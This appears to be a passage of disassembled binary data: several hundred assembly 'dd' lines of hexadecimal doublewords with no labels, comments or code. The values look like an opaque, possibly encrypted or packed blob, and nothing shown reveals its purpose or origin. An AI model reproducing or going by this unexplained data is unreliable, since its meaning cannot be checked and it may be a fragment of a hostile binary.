		dd 3FAE7F96h, 74BB637Fh, 5EB0AD4Dh, 0B83D0B62h,	853DE886h
		dd 0A87E7717h, 0AC60C79Ah, 409D1AF6h, 0A0837049h, 968DE35h
		dd 7E75A553h, 0BA28FF51h, 9C8260ADh, 79BBFE99h,	92DBE69Ah
		dd 0ED59AD83h, 469C9294h, 1DC9D338h, 0EC23EFF0h, 7DAB376Fh
		dd 110790C5h, 0FFCB93D7h, 953F0FEAh, 0ADFFA96Bh, 5FF15F93h
		dd 0EC1F6E80h, 2DD130C7h, 1B0B3F28h, 0A0B97D0Dh, 3918D797h
		dd 5572085Dh, 0B7ED4E5Ah, 4FDD41F9h, 753B0104h,	382681E7h
		dd 0AAF1746Fh, 0EF21D46Ah, 0F00DC358h, 0C0F9698Dh, 58DE7FB2h
		dd 0B2A78195h, 0A59D4F76h, 1BDB6F11h, 956642Dh,	0AE6F4AD1h
		dd 5E80F804h, 76A630ACh, 0D9DA2B26h, 0C1454F03h, 427D12C2h
		dd 502C52DDh, 9DFED0D8h, 0DD8BC7DFh, 18963BBFh,	7C479AF8h
		dd 0D5258BECh, 4FE7E399h, 2AA203B2h, 4CAA259Ah,	4CDE369Fh
		dd 56B1F2BFh, 4015E86Ch, 0C17456F3h, 0A093A07Ch, 0D7C9A425h
		dd 0E03620BAh, 19065292h, 69682AE3h, 7DB3E3E9h,	4D3C464Dh
		dd 99DB3229h, 55781E65h, 0D92C44C5h, 0B93BB539h, 40B60F6Fh
		dd 5F1A894Fh, 767A8DD1h, 0E75FD27Dh, 0CF44D7A8h, 0DE347E94h
		dd 0B370B0F5h, 89F4EEF3h, 7C5D3536h, 2F899ADBh,	14BE4473h
		dd 66BB9EE9h, 7098954Fh, 8BBC6637h, 2AA2CC34h, 4B4E4291h
		dd 1B5B8E66h, 0F314A029h, 385D66BEh, 0D04A64AFh, 2512F68Dh
		dd 0E3BBB083h, 4B712D87h, 8879A85h, 23DD4CBAh, 7BA98753h
		dd 4FE573DEh, 2200AE65h, 7DF8BDC7h, 0A662C609h,	13B74FA1h
		dd 4F92ED38h, 0B68B5CC5h, 27E510D5h, 2EB43FB1h,	85DF1E95h
		dd 0FD5489AEh, 1A2C30E5h, 0A9D8AC9Fh, 0A0915FC5h, 0CD385A6Fh
		dd 8B635FFBh, 8CCF8AA6h, 6403AC76h, 8AD6EEAFh, 898B5593h
		dd 40B307D1h, 0EB69E2B3h, 0D1927E38h, 33AA355Ah, 0F9DFCAE4h
		dd 340D0E55h, 6FC121DFh, 0D9170D4Bh, 94915ACAh,	0C1A4F0AFh
		dd 35101A0Ah, 1C0C2E66h, 574B33BCh, 18F8EB04h, 0D7A3799Eh
		dd 6B44F321h, 0ADC060DAh, 0E2DEBEE2h, 595AF411h, 3F1F67EBh
		dd 2FE9E944h, 0B0EB6FEEh, 0F5F5448Bh, 2E187968h, 0BA60F4AAh
		dd 6B0709F0h, 0E63579F5h, 3168CBC0h, 754E997Ch,	0FAA59729h
		dd 0EB601BB0h, 0C8EB6A2Ah, 2AAA2673h, 47974561h, 0CEF8D434h
		dd 15FD8B9Fh, 0F051EBF5h, 80EDAEC3h, 3BC549AAh,	2F554BB4h
		dd 5FEB2D72h, 0DB417BCAh, 0C11CD480h, 0AD15161Dh, 0EAEA9F82h
		dd 2F5650A9h, 7D7848B1h, 17F0581Eh, 0F51204AFh,	0A4915BAh
		dd 0A8FCB376h, 5BAE798Eh, 0EA95988Bh, 2FCA921Dh, 0B9819E81h
		dd 0AACFACAFh, 0A65F77B5h, 971F357h, 57FBB8A0h,	0E0F29E0Fh
		dd 0BE51B3F3h, 0D976E072h, 5F196F2Ah, 0BE04DA38h, 9CBA61C9h
		dd 3C98A78Fh, 1099E5DDh, 2805D7F7h, 1BBE0D62h, 0DD41B19Fh
		dd 1547244h, 7420FBB9h,	6B12BA95h, 47354D8Eh, 95BDAA00h
		dd 43D14A64h, 51B1462h,	8EAEE381h, 2FCD6F2Ch, 0A27F635h
		dd 7F85E26Ch, 86DCC655h, 6FFA6A1Dh, 0A628EC69h,	17290BA1h
		dd 5404C41h, 0CBAA2C0Dh, 549F16D2h, 0AF87F68Ch,	0E58E05ECh
		dd 859BC52Fh, 0F3BEBE87h, 0F668A3BDh, 98139434h, 0BF07FEC1h
		dd 610E313Ch, 0C0572508h, 4B03D2DEh, 30A587B4h,	0DE7651E2h
		dd 0BCDEBADEh, 0B3483A2Ah, 0CEC557C9h, 88CDEB98h, 4C828C13h
		dd 49C381C9h, 0C9E58F7Fh, 4ABB9AFBh, 2E964BABh,	7759401Fh
		dd 12A4DED3h, 0AB998C96h, 2832D344h, 0B943CE1h,	5D4F7D31h
		dd 4046C966h, 21F81269h, 5D60CDF8h, 0F3EBEE87h,	0E8CB4C55h
		dd 0D11947D6h, 9A60CDA6h, 2FD4A02Ch, 4B03148Ah,	0E6271814h
		dd 0B54EC9D7h, 8F9F4F87h, 0FD79DB68h, 24F10B2h,	8B8A1F47h
		dd 97801C6Eh, 0AF79EB69h, 38171AA3h, 2BF8C935h,	0D15BFBE4h
		dd 272B2794h, 540CDB19h, 0F90CA24Ah, 2F4BF422h,	425C9BBDh
		dd 93DF794Bh, 0FC2CF538h, 0AC91DEC0h, 42D47769h, 6F5FD5E6h
		dd 0A6165E5Bh, 6993D49h, 25B32BA5h, 0A413BF9Ch,	0C81C3C24h
		dd 0DFD54594h, 303F3508h
		dd 2AEAD68Eh, 0DC5EBB9Eh, 0C835AA23h, 0E56173EEh, 0CCB1FA9Eh
		dd 0E5B7A2B5h, 0B3B74F95h, 0F6D15B09h, 1651C143h, 0CFFCBFCDh
		dd 0C928EFA8h, 0EB0BDB54h, 61750240h, 0AD6B0D37h, 0AE4FACAh
		dd 0FF7E3717h, 2538D634h, 8166E44Fh, 1F8EE057h,	0CCBF9115h
		dd 0DBC17CC3h, 2FD4D9A4h, 31287DB1h, 51915CA1h,	0EE8382A9h
		dd 7F15428Ah, 0E9D2300Ch, 899D311Ah, 63D77F72h,	0ACCEF6B7h
		dd 5D695F82h, 777D8F74h, 1F9E9BFDh, 2CB2BB98h, 7AF85F63h
		dd 0E253479h, 67B72367h, 0F21F65Eh, 1DC6123Eh, 0BD94B34Eh
		dd 6BBFD132h, 4822F47Ah, 0C0AE9D65h, 319F5A9Ch,	9AC2BF4Ch
		dd 34C5AFBh, 6482AA92h,	0B67EA541h, 790420A5h, 0FB2E30AAh
		dd 4C18A68Fh, 0FF00A2BAh, 9A858A2Fh, 6DBDDD22h,	5FA3F150h
		dd 0D4CDB85Ch, 0D03B1323h, 458C955Ch, 0A849F90h, 74C015CEh
		dd 782809F1h, 562FF23Ah, 0FE80D38h, 3DC9954Dh, 0D8667632h
		dd 61F8A9E5h, 584E8D72h, 7E8B3B3Dh, 6AD3791Fh, 0A2D67412h
		dd 3AF25236h, 7376F6CAh, 5D540A14h, 2CE3A657h, 1330DB9Bh
		dd 0E595C430h, 79FC2DEFh, 4DA2DFBBh, 3CA3F240h,	0CE3C65B0h
		dd 0BE159D3Bh, 0D90E0B60h, 612E9193h, 6C8A5C3Fh, 2FE5C4C1h
		dd 0F37DE0B2h, 92DAABC1h, 16FCB094h, 0F88E176Eh, 9B76DEE1h
		dd 0E87E13F6h, 7BAD324Eh, 0E07A83E2h, 45E45A87h, 8C49F977h
		dd 0EFC2557Eh, 229BE5EBh, 0EF67A45Eh, 360C3181h, 768E9F5Eh
		dd 492E7CA3h, 35B9364Fh, 40BF5C30h, 2A5CDBD4h, 0D05C83DBh
		dd 0F5107A2Eh, 37B4C955h, 5598F37Dh, 5B267365h,	0D1DFF2FFh
		dd 2A85B303h, 0BABF7FAFh, 0DB29962Bh, 1AFC8FECh, 45CDBD8Dh
		dd 9902561Bh, 3A5B8F0Ah, 9B077701h, 0CEAA187Dh,	33008E9Bh
		dd 0E29C579Ch, 0E6CE5FD7h, 2AE5C362h, 0AC18B0EBh, 5DE5EF05h
		dd 4276D4ADh, 6AEA017Fh, 0DEA0B455h, 180DEC6Eh,	40415029h
		dd 0B4459FACh, 0A12D2D3Bh, 0B2382987h, 68164CBAh, 0A46FBB68h
		dd 0A368C597h, 6B16352Ah, 52D295C1h, 782FA56Ah,	447A676Fh
		dd 30D1E986h, 1702D010h, 0CC6275FCh, 5F4CFC19h,	0F955AA59h
		dd 0AA1663FDh, 8A9C76CEh, 62358B3Dh, 0E4046835h, 780E6764h
		dd 2531CC5Fh, 1C1F663Ch, 0C15E2F62h, 85812A82h,	6433B422h
		dd 0EADAE3EAh, 0D1C31B52h, 2578692Eh, 6764F0B8h, 5458A85Dh
		dd 0E58EA44Ah, 36BA2647h, 0A5299415h, 290C212Ah, 355B8177h
		dd 2BBB77A3h, 3849BADBh, 5BB9D555h, 0BFC1D6AAh,	0B0BA07DEh
		dd 0CE2F4833h, 0CC5FF769h, 0C1696DA6h, 0B7DA39FAh, 0F1E96C86h
		dd 54719773h, 0A2C71E09h, 4EC1EE7Dh, 0FA37A784h, 575F36F9h
		dd 0C7492FB0h, 16224EFAh, 0DD7F94F8h, 0CB1F3AF7h, 0E0CB70BFh
		dd 0B07B1681h, 0D19DFAB5h, 904F6F66h, 7E2C5D5Eh, 95349F55h
		dd 61F86CDFh, 0C152FBCBh, 0F9CAFC76h, 0F3C2E1BCh, 15AB8CEDh
		dd 6658CCFAh, 565ADBCDh, 5F7BC48Dh, 117E62F9h, 0DDD4F94Fh
		dd 21B116EFh, 9065BCAEh, 607B9D20h, 0B46A2AE8h,	15DE766Bh
		dd 8F175077h, 0D8F7C701h, 2326050Ah, 0C8D45A48h, 23B2B1ECh
		dd 210E9468h, 1F61CD6Ch, 0C44F0FBAh, 2A4AB128h,	0E03A0F9h
		dd 2418DC6h, 622EE2A0h,	18761FBFh, 23E72236h, 798B263Fh
		dd 625FE07Dh, 0AEF18C43h, 0F97C877Eh, 34C87945h, 7FDAF9ACh
		dd 0B59B1844h, 55EC6D13h, 8D1A7329h, 0E4E3EF07h, 6E9651C8h
		dd 0CDDF540Dh, 6797BF03h, 0B1CEDEFAh, 0A3E5B3AEh, 0F7F67DCEh
		dd 3E2AAB97h, 80CF6613h, 0EF7E8B06h, 0A9FF02CAh, 0AFD835D8h
		dd 0A68E7738h, 7C06B405h, 0A6A3941Ah, 59DD134Eh, 0E2DDBCF5h
		dd 2BB946FEh, 4F03D829h, 9475FFBFh, 0D1FAC0B7h,	0A830CF93h
		dd 337E98F7h, 0EF97FC4Fh, 782A105Fh, 0E77C5D75h, 0ECDAAEDCh
		dd 3327A01Dh, 910287B3h, 0A5155756h, 0BBFC1214h, 0CCAA6891h
		dd 0BEC64E9Fh, 0B5ED86C4h, 0C63D0818h, 56956AFBh, 0F1D486B9h
		dd 9CE555A2h, 2F39B7BFh, 0D5FF537h, 82589AC6h, 0C5D053DCh
		dd 83DA85BFh, 7BE7A85Ah, 0A2B3A263h, 7E3BC53h, 0E3FB3F56h
		dd 135ED9C6h, 98926EEAh, 8D0F6B0Bh, 0DB91EB93h,	0AF64ACA9h
		dd 0D3ED9BFBh, 26E6E018h, 0F1940095h, 3BB2967Bh, 0CD57CE1Ch
		dd 2D15E13Fh, 5943AFAEh, 0E523DD40h, 57A0D2B9h,	0D5755A46h
		dd 2AE0C07Ah, 17A8DFD8h, 7FBA4A39h, 54859E2Ch, 850BF851h
		dd 0DC5FCCE8h, 0FD9D4F5Fh, 75E71578h, 4996E176h, 0C213D235h
		dd 8EEEC9DFh, 1D9805EBh, 0A6EF50B7h, 7746CBDCh,	7557C66Dh
		dd 3BE2569Dh, 22502F5Ah, 47FD756Eh, 912FE4AAh, 9304CBBBh
		dd 0DEC6024Ch, 687CB001h, 5E6562F6h, 42F57C16h,	4046354Fh
		dd 743807FDh, 5E32761h,	370D6679h, 0C5CF7882h, 557E04C4h
		dd 1F8076A2h, 5EB56DD6h, 0BAA48EBEh, 0BE571ED9h, 0AF1FD1A4h
		dd 9B0DD2A1h, 515D351Ah, 35388C7Fh, 0C25980C6h,	0ABC8879Eh
		dd 865480BEh, 567CB413h, 1D3DF98Dh, 0DD9F3C30h,	0FF6B90B9h
		dd 0D99C7B97h, 0FBBF1377h, 0BC3CEF1Ch, 0E415B87Eh, 0EE07A4A6h
		dd 8F9E7128h, 0B6F7D598h, 44A07ED1h, 745F4547h,	0D3C15920h
		dd 0DC2362BEh, 0A292F8ACh, 0EE7CEB94h, 8B165E03h, 8156B2F9h
		dd 75FBF050h, 0F81345FCh, 0D694F121h, 66037727h, 4AE4CFF7h
		dd 3155C319h, 0FFF4395h, 5D49282Dh, 665B07CFh, 0B0EC8C8Dh
		dd 3F6D01BBh, 2C5F3BB9h, 13E13C4Dh, 0A6E8E3B2h,	3B352D4Ch
		dd 0FC539AAh, 0BF1EAB3h, 371E40B0h, 0C39D4B67h,	71BBCB14h
		dd 9D7D57B4h, 4886BEBEh, 0AC25FECCh, 373940FDh,	1D8755Ah
		dd 602729A5h, 93FA290Ah, 1786B90Dh, 0C265CA14h,	0F923AEA4h
		dd 0FD831FFBh, 3EBCB115h, 0ED776B6Eh, 9B29AEE8h, 4B9F6834h
		dd 0BEED7FB5h, 260E56FBh, 96908949h, 3037195h, 0D4A16EB5h
		dd 0A02EE2F6h, 46FEDAA0h, 0D47BE75Dh, 0BEB1C3F1h, 41889210h
		dd 2D7F9C6Dh, 56D48EDFh, 0CD1163D9h, 9F84A68Fh,	0EAC03D62h
		dd 62B4A379h, 65FC3609h, 5F3FC7AEh, 0F138141Eh,	6EE1CE5Fh
		dd 0EFBA8244h, 40496BBAh, 157FA3E9h, 47A65CDBh,	0A04D166Fh
		dd 386A3FC4h, 79A29C17h, 2276E72Bh, 0B7272243h,	8CEC6DB8h
		dd 8E18B1BBh, 27D2599Eh, 8264A862h, 113A89CAh, 0B101BB55h
		dd 59FDA0D8h, 1D2F06DCh, 79196FB0h, 2CBD91B4h, 0B65F535Bh
		dd 0E69D1015h, 0C0FA636Fh, 9138EA88h, 34FFAA11h, 1E945FEBh
		dd 0F3F6F9Fh, 0FE83C5B9h, 4F8756DBh, 8A4F8184h,	0EADC359Eh
		dd 197EC2A6h, 3B518666h, 7C7932Bh, 6DB99BD6h, 0B699B7D0h
		dd 1008E5FFh, 89CFC47Bh, 9FDFB67Fh, 334B0C57h, 0AF8B8497h
		dd 1347CD77h, 0AA34AA85h, 0ABCB6AAh, 784AF90Ah,	0AC35AC70h
		dd 384B3D1Eh, 71A9B307h, 77FDFD06h, 5107BD08h, 0AD9DCE25h
		dd 0DA3DDB9Dh, 2A3AE51Ch, 4E63BCA9h, 6765C7E1h,	1F1CC51Eh
		dd 8B705D31h, 0E31EBC68h, 42F090ADh, 56E51BD0h,	0ABAF4440h
		dd 4F7B55C3h, 780A3658h, 387EF694h, 0FB6E7398h,	39AF568Bh
		dd 460B8263h, 759C50D7h, 0D755DDA3h, 0A2371AA1h, 8473DEAEh
		dd 0A294A02Ch, 0D6681075h, 5517115Dh, 0F08C50B9h, 0E18EDF00h
		dd 0FE58291Ah, 0DD73CEE1h, 0C136B19Ah, 0F385CDB6h, 9C27BB55h
		dd 0BB53FE56h, 0B2ED920Eh, 0FB510129h, 8222BA5h, 0B2D7B83Ch
		dd 97E49066h, 0FFAF3DFDh, 5A7F6C72h, 0A6721818h, 9F513748h
		dd 0E085A768h, 783C741Ch, 0BE76B9D7h, 0D532B88Bh, 519926A8h
		dd 1D6D94F0h, 0F5A9A8C5h, 82918B71h, 0F2773FE9h, 0E91CB31Bh
		dd 0B44688CAh, 0E5563799h, 551375A2h, 22A31AE7h, 0DA9F946Dh
		dd 0E48F0CCBh, 52E8B98Fh
		dd 69DBD991h, 7E1DC073h, 4673A2FCh, 0B0EB64Dh, 7F3E4ECAh
		dd 0D154F649h, 0BF6EABACh, 78EB385Dh, 0DD0C76D1h, 0DCEA858h
		dd 81132C3Fh, 70EE8FB6h, 65D3FED6h, 0FE525953h,	78DCECB4h
		dd 969699E0h, 80C62CEFh, 0C78E5FEDh, 0B6F69E6h,	26C682E6h
		dd 22116E6Dh, 0F5217883h, 0F6EF6541h, 8CC54F3Dh, 70FEC6BAh
		dd 66D8AFFh, 814F2AF0h,	0D15D55Ch, 841ECDC7h, 55D1C8Ah
		dd 16BAEF21h, 5BC4787h,	0C226F464h, 0A34B9F82h,	4F3DEF40h
		dd 0C320762Ah, 0D486F8AAh, 0F1722F2Ch, 0F350E40Fh, 0DB5B0587h
		dd 3AC639F1h, 0E9497866h, 75529618h, 0E90A2C91h, 5F406995h
		dd 3052CF63h, 160CB385h, 6BCC4DB9h, 718A5851h, 43982BBCh
		dd 0C5A75295h, 9C577F03h, 99EFDFABh, 0A2D56B16h, 377ADA64h
		dd 222EBD77h, 3B3B1E7h,	10482C3Fh, 0ACE0E105h, 4FF9F4ADh
		dd 3B077E2Fh, 32A714D7h, 360DD156h, 1B78FAE5h, 25D8FDADh
		dd 0CF89A121h, 0D7723D84h, 0A5168613h, 7AA37DCFh, 9AEC5A7h
		dd 37CD9097h, 0FB14F512h, 0F177C0F0h, 0F7A07DDEh, 0C9660A85h
		dd 5DA6F005h, 0BDB6AC29h, 0B390C87Fh, 0F5ACC557h, 0B62B0B7Bh
		dd 52D5CE04h, 4543E7BEh, 0F8C03315h, 57C6C477h,	0E6EFF81Eh
		dd 7D1F49DAh, 0D7C8691Ah, 136635AAh, 89430561h,	0FA7B8630h
		dd 0FE55F116h, 0AB840E3h, 0EFC4A5A2h, 70DE6C9Fh, 0FC6BD4Bh
		dd 0C465310Ch, 0A2F9F55Eh, 601996EEh, 8EF6C99Fh, 1875BC76h
		dd 0F45F9761h, 9C0500Eh, 0D558FC55h, 0F9571243h, 0C372DD48h
		dd 6BAB2E92h, 542346B6h, 0B544AAFEh, 0FE40FE73h, 7C943F7Ah
		dd 44C57CF8h, 5F81096Fh, 7F31EC6Ah, 5F1EE4C7h, 99646BABh
		dd 0DCC2E2F5h, 0B479FD2Bh, 9B5D49F6h, 0CDE41594h, 0E62721C5h
		dd 0E2B1670Fh, 0A15F3D09h, 41D4F99Fh, 0E474F66Ah, 0F3AA9CF4h
		dd 0E0EB2320h, 2E4CF6E1h, 0D7ACAAC0h, 4F376BA8h, 1F578016h
		dd 8DEAA31Fh, 0B3BBB149h, 67A0EEAEh, 7E521D2Ch,	9F8C39BEh
		dd 0A25FBB4Dh, 908D4FC2h, 482FDE2Bh, 2DA39170h,	0BA6A1E8Bh
		dd 85644114h, 2E4BE607h, 8EACD948h, 0A60EA9F4h,	1EF22EB5h
		dd 9C59D915h, 0D194A1A9h, 8128072Eh, 0D9ECB1F8h, 5256277Bh
		dd 17F476CAh, 1B7A6E3Dh, 2FAF3A75h, 468AB09Ah, 11E53AD4h
		dd 6BBE2EB6h, 22F8FDCAh, 0B1C1F940h, 0AF227EAFh, 57888BE8h
		dd 0E4E1D285h, 0CAA8D4F9h, 5162F80Eh, 0F949A634h, 0E36BC66Bh
		dd 21804DB1h, 0BFE789B5h, 0CDE3F8A0h, 6FCA531Ch, 5F2B9554h
		dd 0D4DA2D11h, 56125142h, 0B1D95300h, 0B56855D7h, 0BCDAE0B2h
		dd 343FBFBFh, 0F45F99BAh, 0B5240735h, 65E7124h,	0E8024732h
		dd 0BAD9571Bh, 822EADC7h, 0A770B991h, 0EEB9BB05h, 0AED7AC5Bh
		dd 0A34DEE78h, 0BEE45C38h, 0A84B7716h, 8A232386h, 0C18B934Fh
		dd 0E07EAF2Dh, 0E131B9Fh, 2955D4FFh, 7065C8A5h,	1BC49A6Fh
		dd 5F8DFCDFh, 0F2F44272h, 0FA58F9Fh, 341B8E70h,	0A1CA6412h
		dd 502332EAh, 46931DB4h, 45D49120h, 0AC1FFD1Fh,	1BD475BBh
		dd 4057095Fh, 0C5AAF3C7h, 0AA131535h, 2D656522h, 37439995h
		dd 4955114Eh, 5778A37Fh, 1D369799h, 1B45372Dh, 65777E23h
		dd 303F753Ah, 928D42B7h, 5F259825h, 2B7C4015h, 5B88D443h
		dd 0F14ED716h, 39D6FA8Dh, 0B4E11442h, 0B13953C3h, 150A6DE4h
		dd 766DB14Eh, 9F0F53A6h, 6F43D557h, 0DDE5414Ch,	579F9DC7h
		dd 0BF5D609Ah, 82675B1Dh, 7B474926h, 2D50303Ch,	2AB61BF7h
		dd 0A7BBEC93h, 379F2B4Fh, 0F2F88965h, 0C07B3395h, 0DC433EF7h
		dd 4E328909h, 0EC4A3818h, 1925F996h, 5D425B80h,	0D68EBC99h
		dd 0C0EBE72Ah, 651F95DAh, 0D8442FDBh, 8362FA7Bh, 15C5ABB9h
		dd 35A00DCAh, 0F78CE257h, 382C9899h, 0FEAFF2B5h, 99592982h
		dd 0A5AD1CDFh, 0E410B47Ch, 17DF6C6h, 3D1BFC25h,	47DCD9CDh
		dd 0AFB44CE7h, 0A2AF7F11h, 0B55A81C5h, 0B2D11331h, 0EFAD022Eh
		dd 79B03AC1h, 7D77096Bh, 0E1C4FC3Ch, 0B6E0F250h, 0FD89703Eh
		dd 0E61F2575h, 1ED5AA0Fh, 30A5760Eh, 6D6BCF71h,	0B6D56039h
		dd 7777C751h, 0B4646BAAh, 0BA301F52h, 0F7E36FFFh, 96BA52F6h
		dd 44C7612Fh, 8FD489E9h, 915F5ABCh, 8DFEA452h, 70AAF491h
		dd 78D2BAC4h, 32EEA12Dh, 0BAD0AF76h, 44555BB2h,	5CDDD128h
		dd 49B655A6h, 265C5597h, 7479D929h, 0C607F908h,	0A0C5323Fh
		dd 0F425E118h, 6656E50Eh, 0AAFA54C8h, 0E17D82A5h, 3A4585C9h
		dd 0A1FD6665h, 94E65733h, 0C169FD66h, 0D1DD67D1h, 9A951D0Eh
		dd 9686C62Dh, 20BB6F2Ah, 4E30FB61h, 0A888016Fh,	58CA711h
		dd 0F4BAE4FDh, 158B5470h, 0CBF7D562h, 9A7757E1h, 4AFF0306h
		dd 0E0BBB96Ch, 0BACF81F7h, 4793BCFAh, 0CB11F551h, 0D267A904h
		dd 0CD7877CAh, 0E81206FDh, 0F1793C68h, 0E7C778A3h, 22AF328Dh
		dd 89CF0162h, 2AB866A9h, 93C9EA96h, 294467E9h, 7DA3B2D0h
		dd 0B181C00Eh, 81B7C6BFh, 0DC573BA9h, 0A068FBE7h, 0C376F4CFh
		dd 62BAA6BBh, 0C4A48604h, 0DB73F109h, 2398294Eh, 0A075ABBFh
		dd 4F7813EBh, 0A2CC57B4h, 0C3071438h, 0D295C71Fh, 0EEF5F93Ah
		dd 0C96DE7F2h, 6E2E6CABh, 0A7C138E5h, 0A18BDE0Bh, 81D74742h
		dd 2925D1C6h, 0E91DD1A7h, 789BF23Fh, 7AEA8103h,	0CDCA02ADh
		dd 61F802B0h, 51BF9964h, 5F808CF7h, 0F30979D7h,	0DBF2714Bh
		dd 0D52CF144h, 9164EE89h, 31AA83E9h, 948DE451h,	5046EEF4h
		dd 617D7A5Bh, 0A4C2C467h, 0DF07A77Dh, 18DC531Ah, 7E5C6FFh
		dd 0EB2FEA96h, 541250BDh, 0C67545F8h, 715DB288h, 63FDF798h
		dd 62C6F299h, 68DA65FAh, 0DDADFB9Ah, 0E6CF3DD8h, 4CD55ACEh
		dd 0A5A9B2ACh, 0F4EE512Eh, 551C24Ah, 4B463A27h,	0FC56B08Eh
		dd 308CABFDh, 9DCAC2A8h, 8BF80FCFh, 0A8C4D7F8h,	0AF89F8FBh
		dd 0F39BDCBFh, 76E87485h, 175A14C4h, 0BAA29AB5h, 0CAFDCB22h
		dd 0E83D772Dh, 0B9E9DB58h, 625D3BCBh, 0A920D464h, 0AFD7E303h
		dd 0D9174C9Bh, 116FA1BAh, 7267BFF0h, 6F5656E5h,	0E2FE3DD3h
		dd 3EDD74F0h, 3A1A14ECh, 77E1D8EEh, 0C866A6B9h,	2F72516Bh
		dd 4E1BC97h, 0E77312Fh,	0C7B3F765h, 57C44442h, 1F99F9BAh
		dd 0F421AD2Ah, 7A570171h, 6B65B2D5h, 0C1B45E8Ch, 71D54F03h
		dd 0A3994477h, 271E5335h, 0FF3B26ACh, 68E50EEEh, 0A4980331h
		dd 1104BBB9h, 614E33EBh, 0F4D9B44Fh, 898CAA3Bh,	7D297773h
		dd 0BE7529C6h, 7830D68Dh, 0D9EE681Bh, 5DAEBE2Ah, 0C1052E9Eh
		dd 7F2A6A13h, 935FDEDDh, 5FB10C1Eh, 0EBACFC77h,	7F7999C8h
		dd 61B139D3h, 0FC361537h, 5A060D59h, 0C608A0E6h, 6048FE3h
		dd 6F393E1Fh, 6E4EA467h, 9F5FF281h, 0CDC6062Dh,	0D7E8728Ah
		dd 3ABD9AF0h, 0EF35698h, 569583DFh, 0A860FC3Dh,	5229FCEAh
		dd 195FED53h, 0D38438BCh, 0B3357ED1h, 0BCF4F9E9h, 0FC3170A6h
		dd 72103870h, 50409266h, 0A7CD9081h, 0E51B25D5h, 0F63D16E7h
		dd 75D78DCFh, 48BD7BB4h, 6955D4F5h, 1376DC8h, 7480E705h
		dd 55F69750h, 1F9AB836h, 0ED2ED531h, 80CBD2BCh,	6882EA03h
		dd 0FF054F2Bh, 0E687E73Ah, 2FEFB408h, 6596ADC8h, 2D1E1FEh
		dd 2996C741h, 4AAA22A9h, 139DD9C9h, 0A5747718h,	44FAE508h
		dd 0C2C18BEBh, 87760Dh,	19F4C658h, 791ECAF6h, 4EC4295Dh
		dd 7637816Ch, 472B5155h, 7912255h, 0D32568E6h, 543DCB9Fh
		dd 0BAEDBC1Eh, 3AD5E4B8h, 7FC76A51h, 9B77AD89h,	6E099BC7h
		dd 0E19400AEh, 0B2174452h, 0B18D5049h, 0F0DE8C4Ah, 558A24ECh
		dd 0D1CE4CA3h, 0A26DBD4Eh, 0EAD19CF8h, 0F980CC7Ch, 0BA5C2ACAh
		dd 3C2535B1h, 4D17C3AEh
		dd 0B06D7720h, 0A89AE1F7h, 144B1D0Dh, 5747B544h, 0E4DF4D5Fh
		dd 0ABF243FDh, 0EB54CCFEh, 505A622Fh, 14DCF12h,	0D6AAEAC0h
		dd 0D89CEFB6h, 8FC0EDEDh, 0A66B22EBh, 0C09BF051h, 0A8ACE988h
		dd 8FFE5BB5h, 0CDE57165h, 68F05F15h, 446C9B81h,	0C80BFF14h
		dd 72EAE665h, 26BCB121h, 0D5CAE8DAh, 965B2057h,	0F5B4C5C3h
		dd 0E47BEF33h, 0FC75C11Dh, 0F8D2B385h, 0C6FDCFB4h, 0A04E80C4h
		dd 5CEE769Dh, 0E5FD719Ch, 0AB28BE30h, 0F9B0668Eh, 0F8768C73h
		dd 95B164B7h, 0F4AEB631h, 3A68DE3h, 66CABACEh, 5855937Ch
		dd 0C6836718h, 642DADC5h, 6DAC2C38h, 0DC6D8AD2h, 0BA37398Ch
		dd 0A34A1F53h, 8991646h, 0F47DC1C2h, 433CF8Ah, 76FDBF7Eh
		dd 95F3505Dh, 5E6BA997h, 0F7ADCFBFh, 0B3D145C7h, 636FD53Bh
		dd 1450A2E2h, 0C36640DBh, 91D8F88Fh, 0DD1E53A5h, 96E6DFBAh
		dd 0EDAE6F94h, 0D6EF21F8h, 0B3E14946h, 6F0AEA02h, 657A7DAAh
		dd 7DA417F0h, 5FCAF347h, 5946CDBCh, 62CEBF8Dh, 42DAB85Ah
		dd 0AFA032B5h, 2E47D3E1h, 8E9B1028h, 298DAA3Fh,	0E8A8D029h
		dd 0FE799EFDh, 0CC6C1525h, 76B14C9Ah, 29BCAAF9h, 5FDB2D64h
		dd 84BF0E3Eh, 4A919876h, 1978B910h, 34CDE6ADh, 0DCF8F054h
		dd 0A356F1AAh, 8BFB4E9Ah, 0A3A4D46Eh, 88AC1DF5h, 44114AD3h
		dd 0B90102EBh, 36C303B1h, 306B7F47h, 0BC8A8C77h, 0D49BBFF1h
		dd 402B7625h, 0B23D6EE5h, 0C3F170AAh, 0AA04E68Dh, 0AB4C3332h
		dd 13A305A8h, 6F04593Ah, 98DC02D9h, 13363F1Bh, 12A5061Ch
		dd 0F0B2ED8Bh, 2F59D05Ah, 0DA27DF81h, 267923A8h, 8E250D8h
		dd 9257D71Eh, 7F4EC181h, 0A2F38FC1h, 97AF87D9h,	72C1A513h
		dd 913BAF3Dh, 0D7509EEh, 3F353326h, 160EF31Dh, 5CBDFE0Fh
		dd 0F1B0FB8Bh, 0F382C957h, 6D7BFC15h, 69C92A75h, 94EDBBD4h
		dd 1D4BF3Ah, 1BBE07EAh,	3F07C65Ah, 1A45F1Ch, 3FAC8DC3h
		dd 51D9AD5Ch, 0BD19B317h, 6D1B80B6h, 170A91F1h,	13BC28ECh
		dd 0ECA3AA38h, 0E6F1543Bh, 2D7AA987h, 1B610BDAh, 0D751596h
		dd 6844E217h, 16269175h, 4D33F9DFh, 4432297Fh, 5754FA88h
		dd 0D9AB55C3h, 9EF89652h, 0AB831F39h, 90DCE61Eh, 0CA6A021Fh
		dd 0CBBDF734h, 0FB35916Ch, 0E406A7CEh, 0B8E58A45h, 106F80BAh
		dd 0F8B8D18Ch, 8F76C2B2h, 898D93ECh, 0D0B62D19h, 0E379FA9Ch
		dd 7ED7835Bh, 0ADAF52BAh, 952FE466h, 0FC06306h,	0EBFC5A77h
		dd 0B342C2EFh, 32CBCECFh, 0B5377FBEh, 0E3C946FAh, 0D8E89FAFh
		dd 5B3AAD87h, 8E5FC5F9h, 0BF688F73h, 0EBEEE517h, 317F29C0h
		dd 9AD4DA5Ah, 4C8B770Ch, 2DD2AFACh, 0E866FE5Dh,	9C3FAF3Bh
		dd 7CB4D87Dh, 76F2171Dh, 36CF0A79h, 0EE14E439h,	63D17D07h
		dd 3BB0988Fh, 3C970534h, 0F58A0578h, 21F8481Bh,	0FDD091F6h
		dd 2AAAFA52h, 3B254CF8h, 5E8907CBh, 0BB33D39Bh,	1566F594h
